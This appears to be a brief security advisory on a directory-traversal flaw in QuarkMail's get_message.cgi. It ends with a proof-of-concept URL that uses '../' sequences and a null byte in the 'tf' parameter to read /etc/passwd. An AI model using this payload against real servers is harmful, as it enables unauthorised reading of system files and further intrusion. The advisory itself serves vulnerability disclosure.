source: http://www.securityfocus.com/bid/44226/info

QuarkMail is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes 